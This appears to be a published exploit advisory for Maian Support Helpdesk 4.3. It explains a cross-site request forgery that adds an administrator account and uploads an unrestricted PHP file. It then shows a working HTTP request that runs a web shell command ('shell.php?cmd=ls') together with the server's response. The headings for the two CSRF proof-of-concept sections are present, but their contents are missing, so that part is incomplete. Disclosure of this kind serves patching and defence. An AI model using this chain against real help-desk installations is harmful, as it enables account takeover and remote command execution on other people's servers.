# Exploit Title: Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin) # Date: 2020-04-26 # Author: Besim ALTINOK # Vendor Homepage: https://www.maiansupport.com # Software Link: https://www.maiansupport.com/zip.html # Version: v4.3 # Tested on: Xampp # Credit: İsmail BOZKURT ---------------------------------------------- Here is the Detail: -------------------------------------------------- This product is unprotected against CSRF vulnerabilities. With this attack, you can add an admin account to the system. In addition, you can add files from the F.A.Q field as admin.There are no file restrictions here. Therefore, you can upload a PHP file here with CSRF. If you want, you can add an admin account first and then access the system and upload files. Or you can upload files with direct admin rights. --------------------------------------------------- CSRF PoC - 1 (Add Administrator user) -------------------------------------
- After the Add admin account, you can upload the PHP file. CSRF PoC 2 - ( Directly, File Upload) ----------------------------------------------------
HTTP Request: ----------------------------------------------------------------------------------------- GET /helpdesk/content/attachments-faq/shell.php?cmd=ls HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: PHPSESSID=4574c8e8190d39edd9d13a0fd9a502ec; bp_ut_session={"pageviews":1,"referrer":" http://localhost/olms/library/assets/js/images/","landingPage":" http://localhost/olms/library/assets/js/images/sort_asc.html ","started":1587817504988}; HESKb910af33bb5d80030b1f4b6f8666b57fac433d4d=71c43ff24f63f83f5a34d28997251db6 Upgrade-Insecure-Requests: 1 HTTP Response: ------------------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Sun, 26 Apr 2020 12:15:31 GMT Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1f PHP/7.2.29 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: PHP/7.2.29 Content-Length: 39 Connection: close Content-Type: text/html; charset=UTF-8 shell.php shell_test.php shell_test.php